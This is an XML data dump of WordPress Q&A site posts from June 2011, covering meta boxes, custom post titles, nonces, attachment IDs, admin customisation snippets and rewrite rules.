  <row Id="19852" PostTypeId="2" ParentId="19838" CreationDate="2011-06-13T07:41:06.140" Score="8" ViewCount="" Body="&lt;p&gt;So you mean something like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/rMmRt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and when you click on Add tracks it becomes this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/IZKzR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if  it is what you mean the its done by creating a metabox that has simple jquery function to add and remove fields in it, and the data is saved as an array in of data in a single meta row, here you go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'add_meta_boxes', 'dynamic_add_custom_box' );&#xA;&#xA;/* Do something with the data entered */&#xA;add_action( 'save_post', 'dynamic_save_postdata' );&#xA;&#xA;/* Adds a box to the main column on the Post and Page edit screens */&#xA;function dynamic_add_custom_box() {&#xA;    add_meta_box(&#xA;        'dynamic_sectionid',&#xA;        __( 'My Tracks', 'myplugin_textdomain' ),&#xA;        'dynamic_inner_custom_box',&#xA;        'post');&#xA;}&#xA;&#xA;/* Prints the box content */&#xA;function dynamic_inner_custom_box() {&#xA;    global $post;&#xA;    // Use nonce for verification&#xA;    wp_nonce_field( plugin_basename( __FILE__ ), 'dynamicMeta_noncename' );&#xA;    ?&amp;gt;&#xA;    &amp;lt;div id=&quot;meta_inner&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;&#xA;    //get the saved meta as an arry&#xA;    $songs = get_post_meta($post-&amp;gt;ID,'songs',true);&#xA;&#xA;    $c = 0;&#xA;    if (count($songs) &amp;gt; 0){&#xA;        foreach($songs as $track ){&#xA;            if (isset($track['title']) || isset($track['track'])){&#xA;                echo '&amp;lt;p&amp;gt; Song Title &amp;lt;input type=&quot;text&quot; name=&quot;songs['.$c.'][title]&quot; value=&quot;'.$track['title'].'&quot; /&amp;gt; -- Track number : &amp;lt;input type=&quot;text&quot; name=&quot;songs['.$c.'][track]&quot; value=&quot;'.$track['track'].'&quot; /&amp;gt;&amp;lt;span class=&quot;remove&quot;&amp;gt;Remove&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;';&#xA;                $c = $c +1;&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    ?&amp;gt;&#xA;&amp;lt;span id=&quot;here&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;span class=&quot;add&quot;&amp;gt;&amp;lt;?php echo __('Add Tracks'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;    var $ =jQuery.noConflict();&#xA;    $(document).ready(function() {&#xA;        var count = &amp;lt;?php echo $c; ?&amp;gt;;&#xA;        $(&quot;.add&quot;).click(function() {&#xA;            count = count + 1;&#xA;&#xA;            $('#here').append('&amp;lt;p&amp;gt; Song Title &amp;lt;input type=&quot;text&quot; name=&quot;songs['+count+'][title]&quot; value=&quot;&quot; /&amp;gt; -- Track number : &amp;lt;input type=&quot;text&quot; name=&quot;songs['+count+'][track]&quot; value=&quot;&quot; /&amp;gt;&amp;lt;span class=&quot;remove&quot;&amp;gt;Remove&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;' );&#xA;            return false;&#xA;        });&#xA;        $(&quot;.remove&quot;).live('click', function() {&#xA;            $(this).parent().remove();&#xA;        });&#xA;    });&#xA;    &amp;lt;/script&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;?php&#xA;&#xA;}&#xA;&#xA;/* When the post is saved, saves our custom data */&#xA;function dynamic_save_postdata( $post_id ) {&#xA;    // verify if this is an auto save routine. &#xA;    // If it is our form has not been submitted, so we dont want to do anything&#xA;    if ( defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;        return;&#xA;&#xA;    // verify this came from the our screen and with proper authorization,&#xA;    // because save_post can be triggered at other times&#xA;    if (isset($_POST['dynamicMeta_noncename'])){&#xA;        if ( !wp_verify_nonce( $_POST['dynamicMeta_noncename'], plugin_basename( __FILE__ ) ) )&#xA;            return;&#xA;    }else{return;}&#xA;&#xA;    // OK, we're authenticated: we need to find and save the data&#xA;&#xA;    $songs = $_POST['songs'];&#xA;&#xA;    update_post_meta($post_id,'songs',$songs);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-15T20:13:29.667" LastActivityDate="2011-06-15T20:13:29.667" CommentCount="12" />
  <row Id="19853" PostTypeId="1" AcceptedAnswerId="19968" CreationDate="2011-06-13T08:02:21.697" Score="1" ViewCount="124" Body="&lt;p&gt;Is there a plugin with the social media share buttons where I have more control of where to place them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment, the only one's I can find only allow you to place the buttons at the top or bottom of pages/posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I'd like a snippet of code to just place wherever I wanted.&lt;/p&gt;&#xA;" OwnerUserId="5415" LastActivityDate="2011-06-14T07:53:43.633" Title="Plugin - Social media share buttons" Tags="&lt;plugins&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="19854" PostTypeId="1" AcceptedAnswerId="19894" CreationDate="2011-06-13T08:15:37.543" Score="1" ViewCount="159" Body="&lt;p&gt;I have a custom post type without title support and I'm trying to generate one from post's taxonomies and custom fields. To do so, I'm using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_post_type_title_filter( $data , $postarr )&#xA;    {&#xA;      if ($postarr['post_type'] == 'cars'){&#xA;            $id = get_the_ID();&#xA;            $engine= ', '.get_post_meta($id, 'Engine', true).'l';&#xA;            $terms = wp_get_object_terms($id, 'brand');&#xA;            $abrand= ' '.$terms[0]-&amp;gt;name;&#xA;            $amodel = ' '.$terms[1]-&amp;gt;name;&#xA;            $data['post_title'] = $id.$abrand.$amodel.$engine;&#xA;      }&#xA;      return $data;&#xA;    }&#xA;    add_filter( 'wp_insert_post_data' , 'custom_post_type_title_filter' , 99, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Problem is, to make it work, I have to republish my post. It does not work with new post (it has no ID yet, I guess) and if I change custom field values in post, it won't generate name from them yet, I'll have to save it twice to get it done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone share a solution with example how it's done properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, would be nice to be able to set custom slug too (different from the title).&lt;/p&gt;&#xA;" OwnerUserId="5744" LastActivityDate="2011-06-13T17:13:06.337" Title="Custom Post Type with Custom Title" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;customization&gt;&lt;taxonomy&gt;&lt;title&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="19855" PostTypeId="2" ParentId="19854" CreationDate="2011-06-13T08:47:01.083" Score="1" ViewCount="" Body="&lt;p&gt;Hook into the action &lt;code&gt;'save_post'&lt;/code&gt; (&lt;a href=&quot;http://wordpress.stackexchange.com/questions/17386/custom-field-values-get-deleted/17392#17392&quot;&gt;example&lt;/a&gt;). You get the post ID as a parameter, and then you can do everything you did before. With one save action. :)&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-06-13T08:47:01.083" CommentCount="1" />
  <row Id="19856" PostTypeId="1" AcceptedAnswerId="19858" CreationDate="2011-06-13T08:59:41.410" Score="1" ViewCount="74" Body="&lt;p&gt;I looking at the docs for &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_meta_box&lt;/code&gt;&lt;/a&gt;. They used a nonce. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nonce_field( plugin_basename( __FILE__ ), 'myplugin_noncename' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am wondering, probably the save post form itself should already have a nonce so this is redundant? &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-06-13T09:27:07.150" Title="Is there a need for nonce with Post Metabox?" Tags="&lt;theme-development&gt;&lt;metabox&gt;&lt;post-meta&gt;" AnswerCount="1" />
  <row Id="19857" PostTypeId="1" CreationDate="2011-06-13T09:18:09.670" Score="0" ViewCount="92" Body="&lt;p&gt;I have read the following but I'm still confused&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_pages&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_list_pages&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At my website&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://alluvialtrading.com/&quot; rel=&quot;nofollow&quot;&gt;http://alluvialtrading.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like for example &quot;Who We Are&quot;, &quot;What We Do&quot; to link to nothing and only have sub pages.  Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="2966" LastActivityDate="2011-08-16T04:25:10.413" Title="How do I exclude main pages and link only to sub pages?" Tags="&lt;links&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="19858" PostTypeId="2" ParentId="19856" CreationDate="2011-06-13T09:27:07.150" Score="2" ViewCount="" Body="&lt;p&gt;Yes, the save action has a nonce already. But you don’t know it – so you cannot validate it. Besides that, you may want to fill a meta box from other places like a user profile or the dashboard, and then you need your own nonce anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example from my current work: There is a custom post type &lt;code&gt;domicile&lt;/code&gt; with a booking schedule meta box. My client is the agent or broker (English is not my native language …) for the domicile and fills the schedule from the editor for the CPT. But the owners of the domiciles can fill the schedule too – from their dashboard. I just load all booking schedules they are assigned to and they edit them without ever seeing the complete data of the domicile.&#xA;Without separate nonces this would be very awkward.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-06-13T09:27:07.150" CommentCount="1" />
  <row Id="19859" PostTypeId="1" AcceptedAnswerId="19862" CreationDate="2011-06-13T09:52:48.077" Score="1" ViewCount="102" Body="&lt;p&gt;Suppose I store all my post meta data in an array like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta = array(&#xA;    'img' =&amp;gt; '',&#xA;    'caption' =&amp;gt; ''&#xA;);&#xA;&#xA;update_post_meta($post-&amp;gt;ID, 'theme_banner', $meta);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can I query posts where the img is filled?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-06-13T10:13:21.340" Title="Metadata Query when storing data as array possible?" Tags="&lt;theme-development&gt;&lt;wp-query&gt;&lt;post-meta&gt;" AnswerCount="1" />
  <row Id="19860" PostTypeId="1" CreationDate="2011-06-13T09:54:58.057" Score="0" ViewCount="113" Body="&lt;p&gt;How would I go about editing the default template for the 'Recent Comments' sidebar widget?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using WordPress 3.1.3, with a modified TwentyTen theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3670" LastActivityDate="2011-06-13T09:54:58.057" Title="Sidebar Widget, Recent Comments - Where can I edit the template for this?" Tags="&lt;widgets&gt;&lt;template&gt;" CommentCount="2" />
  <row Id="19861" PostTypeId="1" CreationDate="2011-06-13T09:56:15.263" Score="0" ViewCount="86" Body="&lt;p&gt;Instead of having an email on every comment on a blog post I've wrote, I'm looking for a visual notification on wordpress itself, an &quot;inbox&quot; if you get what I mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dennis&lt;/p&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2011-08-13T11:23:25.543" Title="Alternative to email notification system?" Tags="&lt;email&gt;&lt;notifications&gt;" AnswerCount="1" />
  <row Id="19862" PostTypeId="2" ParentId="19859" CreationDate="2011-06-13T10:13:21.340" Score="1" ViewCount="" Body="&lt;p&gt;Short answer: NO!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've asked a similar question before &lt;a href=&quot;http://stackoverflow.com/questions/6234057/mysql-order-by-serialized-data&quot;&gt;mysql order by serialized data&lt;/a&gt;? &#xA; and the answer i got is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The only possible case when serialized&#xA;  data is acceptable is when you don't&#xA;  need to search , filter or order by through&#xA;  that data. In all other cases - store&#xA;  your data as a separated fields.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-13T10:13:21.340" />
  <row Id="19863" PostTypeId="1" CreationDate="2011-06-13T10:22:07.327" Score="1" ViewCount="160" Body="&lt;p&gt;I am using a plugin to forward photo posts from wordpress to a tumblr blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;//post blog to tumblr&#xA;function postBlogTumblr($postID)&#xA;{&#xA;    $URLServer = &quot;http://www.tumblr.com/api/write&quot;;&#xA;    $t_post = get_post($postID);&#xA;    $t_url = get_permalink($postID);&#xA;    $tumblr_data = unserialize(get_option(&quot;tumblr&quot;));&#xA;    $postdata['email'] = $tumblr_data['tumblr_login_email'];&#xA;    $postdata['password'] = $tumblr_data['tumblr_login_pass'];&#xA;    $postdata['type'] = &quot;photo&quot;;&#xA;&#xA;    &lt;b&gt;$postdata['source'] = the_attachment_link($attachment_id);&lt;/b&gt;&#xA;&#xA;    $postdata['caption'] = $t_post-&gt;post_title.&quot;&lt;i&gt;(via adamblanchard.co.uk)&lt;/i&gt;&quot;;   &#xA;    $postdata['state'] = &quot;published&quot;;&#xA;    $postdata = http_build_query($postdata);   &#xA;    $result = datapost($URLServer,$postdata);&#xA;&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe I am using the right method on the &lt;b&gt;$postdata['source']&lt;/b&gt; line, but I am unsure how to go about getting the attachment id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6149" LastActivityDate="2011-06-13T16:58:19.153" Title="How to find attachment ID for first image in a post" Tags="&lt;plugin-development&gt;&lt;attachments&gt;&lt;image&gt;&lt;tumblr&gt;" AnswerCount="3" />
  <row Id="19864" PostTypeId="1" AcceptedAnswerId="19871" CreationDate="2011-06-13T10:49:10.963" Score="0" ViewCount="134" Body="&lt;p&gt;I am using this &lt;a href=&quot;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;wordpress Script&lt;/a&gt; to add metaboxes under posts..&#xA;I followed as it was written.. but I am having trouble on how to get those values in singe.php&#xA;Example an uploaded image&#xA;Please guide me on this.. &lt;/p&gt;&#xA;" OwnerUserId="6150" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-06-13T12:35:12.967" LastActivityDate="2011-07-06T13:41:16.470" Title="How to get the value of particular get $meta value in wordpress" Tags="&lt;custom-field&gt;&lt;metabox&gt;" AnswerCount="1" />
  <row Id="19865" PostTypeId="2" ParentId="1567" CreationDate="2011-06-13T11:05:39.803" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Custom Logos for Login page and Admin&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*-----------------------------------------------------------------------------------*/&#xA;/*  Custom logos&#xA;/*-----------------------------------------------------------------------------------*/&#xA;function custom_admin_logo() {&#xA;    echo '&#xA;        &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;            #header-logo { background-image: url('.get_bloginfo('template_directory').'/path/to/images/admin-logo.png) !important; }&#xA;        &amp;lt;/style&amp;gt;&#xA;    ';&#xA;}&#xA;add_action('admin_head', 'custom_admin_logo');&#xA;&#xA;function custom_login_logo() {&#xA;    echo '&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;        h1 a { background-image:url('.get_bloginfo('template_directory').'/path/to/images/login-logo.png) !important; }&#xA;    &amp;lt;/style&amp;gt;';&#xA;}&#xA;&#xA;add_action('login_head', 'custom_login_logo');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-13T11:05:39.803" CommunityOwnedDate="2011-06-13T11:05:39.803" CommentCount="1" />
  <row Id="19866" PostTypeId="2" ParentId="1567" CreationDate="2011-06-13T11:11:33.183" Score="-2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Remove Admin (User #1) from User list&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function your_pre_user_query($user_search) {&#xA;  $user = wp_get_current_user();&#xA;  if ($user-&amp;gt;ID!=1) {&#xA;    global $wpdb;&#xA;    $user_search-&amp;gt;query_where = str_replace('WHERE 1=1',&#xA;      &quot;WHERE 1=1 AND {$wpdb-&amp;gt;users}.ID&amp;lt;&amp;gt;1&quot;,$user_search-&amp;gt;query_where);&#xA;  }&#xA;}&#xA;add_action('pre_user_query','your_pre_user_query');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-13T11:11:33.183" CommunityOwnedDate="2011-06-13T11:11:33.183" CommentCount="6" />
  <row Id="19867" PostTypeId="2" ParentId="1567" CreationDate="2011-06-13T11:14:20.557" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Remove Admin Backend Menus for all users, except User #1 (usually the first Admin)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*-----------------------------------------------------------------------------------*/&#xA;/*  Restrict access&#xA;/*-----------------------------------------------------------------------------------*/&#xA;function remove_menus () {&#xA;global $menu;&#xA;$user = wp_get_current_user();&#xA;    if ($user-&amp;gt;ID!=1) { // Is not administrator,&#xA;&#xA;        $restricted = array(__('Dashboard'), __('Posts'), __('Media'), __('Links'), __('Pages'), __('Appearance'), __('Tools'), __('Users'), __('Settings'), __('Comments'), __('Plugins'));&#xA;        end ($menu);&#xA;        while (prev($menu)){&#xA;            $value = explode(' ',$menu[key($menu)][0]);&#xA;            if(in_array($value[0] != NULL?$value[0]:&quot;&quot; , $restricted)){unset($menu[key($menu)]);}&#xA;        }&#xA;    }&#xA;}&#xA;add_action('admin_menu', 'remove_menus');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4451" LastEditorUserId="4451" LastEditorDisplayName="" LastEditDate="2011-06-13T14:25:14.110" LastActivityDate="2011-06-13T14:25:14.110" CommunityOwnedDate="2011-06-13T11:14:20.557" CommentCount="10" />
  <row Id="19868" PostTypeId="1" AcceptedAnswerId="19869" CreationDate="2011-06-13T11:20:55.720" Score="1" ViewCount="28" Body="&lt;p&gt;I would like the htaccess rewrite rule to compare to IIS rewrite rule I tried which doesn't seem to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;rule name=&quot;rewrite /blog/&quot;&amp;gt;&#xA;     &amp;lt;match url=&quot;^blog/([_0-9a-zA-Z\-]+)/$&quot; /&amp;gt;&#xA;     &amp;lt;action type=&quot;Rewrite&quot; url=&quot;/{R:1}/&quot; /&amp;gt;&#xA; &amp;lt;/rule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4078" LastActivityDate="2011-06-13T11:36:40.173" Title="How to redirect http://mydomain/blog/blahblah/ to http://mydomain/blahblah/ in wordpress htaccess?" Tags="&lt;url-rewriting&gt;&lt;htaccess&gt;&lt;apache&gt;" AnswerCount="1" />
  <row Id="19869" PostTypeId="2" ParentId="19868" CreationDate="2011-06-13T11:36:40.173" Score="1" ViewCount="" Body="&lt;p&gt;This is not a WordPress question. Anyway …&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^blog/(.*) /$1 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-06-13T11:36:40.173" />
  <row Id="19870" PostTypeId="2" ParentId="18532" CreationDate="2011-06-13T11:57:07.307" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/limit-post-creation-per-day/&quot; rel=&quot;nofollow&quot;&gt;Limit Post Creation Per Day&lt;/a&gt; plugin seems to provide this functionality.&lt;/p&gt;&#xA;" OwnerUserId="5410" LastActivityDate="2011-06-13T11:57:07.307" />
  <row Id="19871" PostTypeId="2" ParentId="19864" CreationDate="2011-06-13T12:01:33.790" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( get_post_meta($post-&amp;gt;ID, 'your_metabox_id', true) ) : ?&amp;gt;&#xA;&#xA;        &amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'your_metabox_id', true) ?&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The trick is to use get_post_meta hook&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-13T12:01:33.790" CommentCount="12" />
  <row Id="19872" PostTypeId="1" AcceptedAnswerId="19875" CreationDate="2011-06-13T12:43:45.423" Score="1" ViewCount="34" Body="&lt;p&gt;I've been playing around with the jquery plugin Fancybox on this page, but for some reason since making a few changes my page seems to be displaying blog archives rather than the normal content it should be displaying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just wondered whether people have had a similar problem? There must be something I've done wrong for this page because all of the other page's content are displaying fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code for the portfolio.php page, but it is outputting something completely different.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;/*&#xA;Template Name: Portfolio&#xA;*/&#xA;?&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;section&amp;gt;&#xA;        &amp;lt;?php include(&quot;includes/slideshow/slideshow-home.php&quot;); ?&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;        &amp;lt;header&amp;gt;&#xA;            &amp;lt;div id=&quot;titleHeader&quot; class=&quot;clear&quot;&amp;gt;&#xA;                &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/header&amp;gt;&#xA;        &amp;lt;section&amp;gt;&#xA;            &amp;lt;article&amp;gt;&#xA;                &amp;lt;div id=&quot;mainContent&quot; class=&quot;clear&quot;&amp;gt;&#xA;                    &amp;lt;?php&#xA;                    /* Run the loop to output the page.&#xA;                     * If you want to overload this in a child theme then include a file&#xA;                     * called loop-page.php and that will be used instead.&#xA;                     */&#xA;                    get_template_part( 'loop', 'page' );&#xA;                    ?&amp;gt;&#xA;                    &amp;lt;ul id=&quot;portfolioContent&quot;&amp;gt;&#xA;                    &amp;lt;?php&#xA;                        $loop = new WP_Query(array('post_type' =&amp;gt; 'portfolio', 'posts_per_page' =&amp;gt; 10));&#xA;                    ?&amp;gt;&#xA;                    &amp;lt;?php while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;                    &amp;lt;?php&#xA;                        $custom = get_post_custom($post-&amp;gt;ID);&#xA;                    ?&amp;gt;&#xA;                    &amp;lt;li class=&quot;portfolioThumb&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_permalink(); ?&amp;gt;&quot; class=&quot;various2&quot;&amp;gt;&amp;lt;?php the_post_thumbnail('thumbnail'); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;?php endwhile; ?&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;             &amp;lt;/article&amp;gt;&#xA;         &amp;lt;/section&amp;gt;&#xA;&#xA;         &amp;lt;section&amp;gt;&#xA;            &amp;lt;aside&amp;gt;&#xA;                &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;            &amp;lt;/aside&amp;gt;&#xA;         &amp;lt;/section&amp;gt;&#xA;&#xA;    &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ash&lt;/p&gt;&#xA;" OwnerUserId="5883" LastActivityDate="2011-06-13T12:54:52.057" Title="Page is displaying blog archives" Tags="&lt;archive&gt;" AnswerCount="1" />
  <row Id="19873" PostTypeId="1" AcceptedAnswerId="19877" CreationDate="2011-06-13T12:53:35.490" Score="0" ViewCount="55" Body="&lt;p&gt;I use the Google XML Sitemaps (Wordpress Plugin) and the latest wordpress version. Recently i have had a lot of 404 not found errors in webmasters. The urls show up without any categories and it links to the sitemap.xml file. It shows the url as &lt;a href=&quot;http://mysite.com/welcome-to-my-site/&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/welcome-to-my-site/&lt;/a&gt; instead of &lt;a href=&quot;http://mysite.com/general/welcome-to-my-site/&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/general/welcome-to-my-site/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the categories are missing these links return a 404 not found error. These faulty links are piling up and i am in a fix. Please help. &lt;/p&gt;&#xA;" OwnerUserId="6151" LastActivityDate="2011-06-13T13:09:02.977" Title="Getting lots of  errors with sitemap on google webmasters" Tags="&lt;categories&gt;&lt;google-xml-sitemaps&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="19874" PostTypeId="1" AcceptedAnswerId="19881" CreationDate="2011-06-13T12:53:50.377" Score="3" ViewCount="139" Body="&lt;p&gt;Im just wondering if its possible to create user role that allows to write/edit custom post type for example: Consultants, but not allow to write normal posts (used for as news for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that if user wants to edit posts its a must to have edit_post enabled for him. Question is if i can create something like: edit_[custom_post_type] or something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in avance if anyone can help me with this issue...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindest regards&lt;/p&gt;&#xA;" OwnerUserId="6152" LastActivityDate="2011-06-13T13:30:02.527" Title="User roles - enable custom posts disable posts" Tags="&lt;custom-post-types&gt;&lt;users&gt;&lt;user-roles&gt;" AnswerCount="2" />
  <row Id="19875" PostTypeId="2" ParentId="19872" CreationDate="2011-06-13T12:54:52.057" Score="1" ViewCount="" Body="&lt;p&gt;Does slideshow-home.php has a loop as well?  You need to ensure that you reset the queries or rewind posts while using multiple Loops &lt;code&gt;&amp;lt;?php wp_reset_query(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/The_Loop#Multiple_Loops&quot; rel=&quot;nofollow&quot;&gt;Multiple_Loops&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_reset_query&quot; rel=&quot;nofollow&quot;&gt;Reset Query&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-13T12:54:52.057" CommentCount="9" />
  <row Id="19876" PostTypeId="2" ParentId="19863" CreationDate="2011-06-13T12:56:48.880" Score="2" ViewCount="" Body="&lt;p&gt;you can use this snippet to get the first image of a post attachment id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$images =&amp;amp; get_children( 'post_type=attachment&amp;amp;post_mime_type=image&amp;amp;post_parent=' . $postID );&#xA;$attachment_id = $images[0]-&amp;gt;ID;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-13T12:56:48.880" CommentCount="2" />
  <row Id="19877" PostTypeId="2" ParentId="19873" CreationDate="2011-06-13T13:09:02.977" Score="0" ViewCount="" Body="&lt;p&gt;the XML sitemaps plugin should be pulling your URL structure that you've set in the permalinks setting. Are you using a plugin or other method to remove the /category-name/ from the URL?&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-06-13T13:09:02.977" CommentCount="6" />
  <row Id="19878" PostTypeId="2" ParentId="19863" CreationDate="2011-06-13T13:12:22.240" Score="0" ViewCount="" Body="&lt;p&gt;If the image in question is attached to the post, then you can get the URL of the image using the &lt;code&gt;wp_get_attachment_url&lt;/code&gt; function. (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_url&quot; rel=&quot;nofollow&quot;&gt;Read more in the codex here&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-06-13T13:12:22.240" CommentCount="1" />
